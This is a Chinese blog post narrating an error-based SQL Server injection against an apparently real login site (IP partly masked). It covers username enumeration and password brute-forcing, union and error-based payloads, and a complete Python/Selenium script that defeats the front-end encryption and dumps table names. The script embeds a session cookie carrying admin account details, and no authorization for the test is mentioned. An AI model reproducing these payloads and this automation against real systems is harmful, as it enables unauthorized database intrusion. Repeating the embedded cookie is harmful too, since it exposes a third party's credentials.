记一次SQL Server报错注入

简书markdown引用远程图片功能真挫。。。

原文链接:http://wyb0.com/posts/2018/recording-an-sqlserver-sql-injection-of-error-based/

0x00 验证码前端验证

需要测试一个网站,刚开始看到网站时感觉希望不大,因为验证码是需要拖动的,这也就意味着很大可能没办法爆破,另一方面是都用这种验证码了,安全做的能很差劲吗?果然,试了admin、123456之类的都不行


40

那就抓个包吧


70

emmmmmm。 32位,md5加密?这里看着没有验证码之类的信息,把这个包发了几次发现没有出现验证码信息,而且试了试,发现有两种状态(运气比较好,有admin这个用户,我也是试的这个用户,一下子就看出返回不同了),如下:

用户不存在时返回
{"iserror":true,"message":"用户名不存在!","data":null,"errorfieldlist":null}

用户名存在时返回
{"iserror":true,"message":"密码不正确!","data":null,"errorfieldlist":null}

可以的,验证码前端验证,我觉得可以burp抓包intruder一下

跑了top 500的用户名和top 1000的密码,除了直接试的用户名admin,其他的一个都没有跑出来 sad

0x01 存在注入

嗯看来爆破是基本没有希望了,测其他的吧,嗯,这里是登陆,那肯定要看注入的,无脑加单引号,boom!


image

11.png

80

可以的,and 1=1 有注入

哎??!!!那不对啊,咋的后台还解密md5后进行查询??

刚才看了数据包,用户名密码都是32位,猜想sql语句是:select password from user where username=name_md5_hash,然后判断用户存不存在之类的

看返回信息的话显然不是啊,哪有后台解密md5后查询的。。。。。。

试试post其他用户名和密码,然后看数据包


80

显然并不是md5。。。。 这个是前端加密后发送的。。。。。看一下js,结果发现了这个


80

80

emmmmm,想了想,应该可以注入的,看看啥系统


50

大概率SQL Server了(因为前几天在t00ls刚看到了一个ASP.NET+MySQL,比较任性),所以这里看一下,发现确实是SQL Server


image

看看数据库版本,嗯,看来还是报错注入


80

可以可以,看看有几列,然后进行union注入


22.png

80

一列,这里也能大致猜出来sql语句了,估计就是:select password from user where username='admin'

那就看看数据库吧,不知道SQL Server中的concat怎么用,一个个来吧。。。。

得到第一个数据库的名字:union select name from master.dbo.sysdatabases where dbid=1

image

得到第二个数据库的名字:union select name from master.dbo.sysdatabases where dbid=2

image

得到第5个数据库的名字:union select name from master.dbo.sysdatabases where dbid=5

80

好麻烦啊,拖一下验证码,然后得到一个数据库,而且后面还有表呢。。。。。

py一下了吧,前端有js进行加密,可以本地写文件生成加密后的payload,然后python拿到payload后进行注入

0x02 尝试写php得到加密后的payload

把加密的那个js文件SkyEnCode.js保存到本地,然后写php文件,php的话接收一个未加密的payload然后返回一个加密后的payload,大致代码:

<!DOCTYPE html>
<head>
    <script src=jquery.min.js></script>
    <script src=SkyEnCode.js></script>
    <title>test</title>
</head>
<body>
    <?php
        $name = $_GET['name'];
        echo "<script>
                var name = '".$name."';
                document.write('>>>'+SkyEnCode.EscKeyCode(name) +'<<<');
            </script>";
    ?>
</body>
</html>

看了下,返回的结果是一样的,可以用(实际上并不能。。。)


image

0x03 通过python获取js加密后的payload

本来是写python获取加密后的payload来着

def encode_payload(payload):
    html = requests.get("http://127.0.0.1/tmp.php?name={}".format(payload)).text
    m = re.findall(r'>>>(.*?)<<<', html)
    return m

但是获取到的是:[u"'+SkyEnCode.EscKeyCode(name)+'"],因为js没有执行加载,所以得到的是js未执行时的页面源码

记得以前看过一个东西,selenium,可以调用浏览器驱动模拟浏览器点击啥的,记得可以执行js,想到就做

首先安装selenium:sudo pip install selenium --user -U

然后在http://chromedriver.storage.googleapis.com/index.html下载Chrome的驱动,然后放到/opt下

[21:07 reber@wyb in ~]
➜  ls /opt/chromedriver
/opt/chromedriver
[21:07 reber@wyb in ~]
➜  /opt/chromedriver --version
ChromeDriver 70.0.3538.97 (d035916fe243477005bc95fe2a5778b8f20b6ae1)

获取加密后payload的代码重写如下(此时已经不需要页面接收参数了,页面能引入js我们调用执行就行):


80

python运行后得到的userName和网页上的一样


33.png

image

0x04 得到数据库的表名

数据库名的话可以通过union注入改变dbid即可得到,比较简单,表名的话这里写代码获取第5个数据库gansu的表名


image

不再继续深入

0x05 详细代码

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# code by reber <1070018473@qq.com>

import re
import time
import requests
from selenium import webdriver
from selenium.webdriver.chrome.options import Options

url = "http://117.156.***.***/newcc/Common/AccessToken.do"
headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0",
    "Accept": "application/json, text/javascript, */*; q=0.01",
    "Cookie": "currentuser_JSON=eyJpZCI6MSwiZGVsc3RhdHVzIjowLCJkZXB0aWQiOjEsInVuaXRpZCI6MSwiY2hpbmFuYW1lIjoi566h55CG5ZGYIiwibG9naW5uYW1lIjoiYWRtaW4iLCJiaXJ0aCI6bnVsbCwic2V4IjoxLCJwYXNzd29yZCI6ImthdkRhVzRoanMzK3dIeC90czhvdSsxVEYzQT0iLCJtYWlsIjoiYWRtaW5Ac2t5dGVjaC5jb20iLCJpZGNhcmQiOm51bGwsIm1vYmlsZSI6bnVsbCwicGhvbmVkZXB0IjoiMDI1ODg4ODg4ODgiLCJwaG9uZWhvbWUiOiIwMjU4ODg4ODg4OCIsInBlcm1zdHJpbmciOiI3MSw2Niw4OSw0NywxMDcsMTMxLDU4LDc4LDI0NSw5Miw0MSw1NCw1NiwxLDcsMjcsMjgsNjksMzkiLCJwZXJzb25yb2xlcyI6IjgiLCJzb3J0aW5kZXgiOjAsImlzaGFzY2FyZHR5cGUiOjAsImFkZGVyIjoxLCJhZGR0aW1lIjoiMjAwNi8wMi8yMCAxMzoyOToyNiIsIm1vZGVyIjoxLCJtb2R0aW1lIjoiMjAxNy8wOC8xOSAwOToxMDo0MCJ9",
}

def encode_payload(payload):
    chrome_options = Options()
    chrome_options.add_argument('--headless') #无头模式,不打开浏览器界面
    chrome = webdriver.Chrome(executable_path=r"/opt/chromedriver",chrome_options=chrome_options)

    try:
        chrome.get("http://127.0.0.1/tmp.php")
        # chrome.maximize_window() #不设置无头模式时最大化窗口
        # time.sleep(20) #等待请求完页面
        # print chrome.page_source #输出页面的html
        js = "var en_payload = SkyEnCode.EscKeyCode(\"{}\");return en_payload;".format(payload)
        en_payload = chrome.execute_script(js) #调用页面中加载的js代码中的加密函数
        return en_payload
    except Exception as e:
        print str(e)
    finally:
        chrome.close()

def get_tables(database):
    payload1 = "admin' and (select top 1 '~~'+name+'~~' from {}.dbo.sysobjects where xtype='U')>1--".format(database)
    payload2 = "admin' and (select top 1 '~~'+name+'~~' from {}.dbo.sysobjects where xtype='U' and name not in ({}))>1 --"

    #先得到第一张表名
    en_payload = encode_payload(payload1)
    data = {"userName": en_payload,"userPwd": "823d9ed14f2b86bb15234e4893c3ec54"}
    html = requests.post(url=url,data=data,headers=headers).content
    c_table = re.search(r'~~(.*?)~~', html).group(1)

    #通过for循环得到其他的表名
    tables = list()
    for x in xrange(5):
        tables.append("'"+c_table+"'")
        fm = ",".join(str(table) for table in tables)
        _payload = payload2.format(database,fm)
        print _payload
        data = {"userName": encode_payload(_payload),"userPwd": "9ad64932f8832810867a5b9e956206ca"}
        html = requests.post(url=url,data=data,headers=headers).content
        print html
        c_table = re.search(r'~~(.*?)~~', html).group(1)
    print tables

get_tables('gansu')
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,524评论 5 460
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,869评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,813评论 0 320
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,210评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,085评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,117评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,533评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,219评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,487评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,582评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,362评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,218评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,589评论 3 299
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,899评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,176评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,503评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,707评论 2 335